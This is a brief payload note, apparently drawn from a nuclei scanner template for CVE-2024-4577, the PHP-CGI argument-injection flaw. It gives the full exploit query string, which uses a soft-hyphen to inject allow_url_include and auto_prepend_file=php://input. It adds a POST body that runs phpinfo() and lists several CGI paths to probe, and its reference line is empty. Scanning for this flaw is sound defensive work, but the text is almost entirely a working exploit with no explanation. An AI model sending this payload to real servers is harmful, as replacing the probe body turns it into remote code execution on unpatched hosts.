
CVE-2024-4577 nuclei-templates
Carga útil:
?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
<?php phpinfo(); ?>
URL de prueba:
/unfxu9a.php{{payload}}
/php-cgi/unfxu9a.php{{payload}}
/cgi-bin/php-cgi.exe{{payload}}
/php-cgi/php-cgi.exe{{payload}}
/php-cgi/php.exe{{payload}}
/cgi-bin/php.exe{{payload}}

Ref: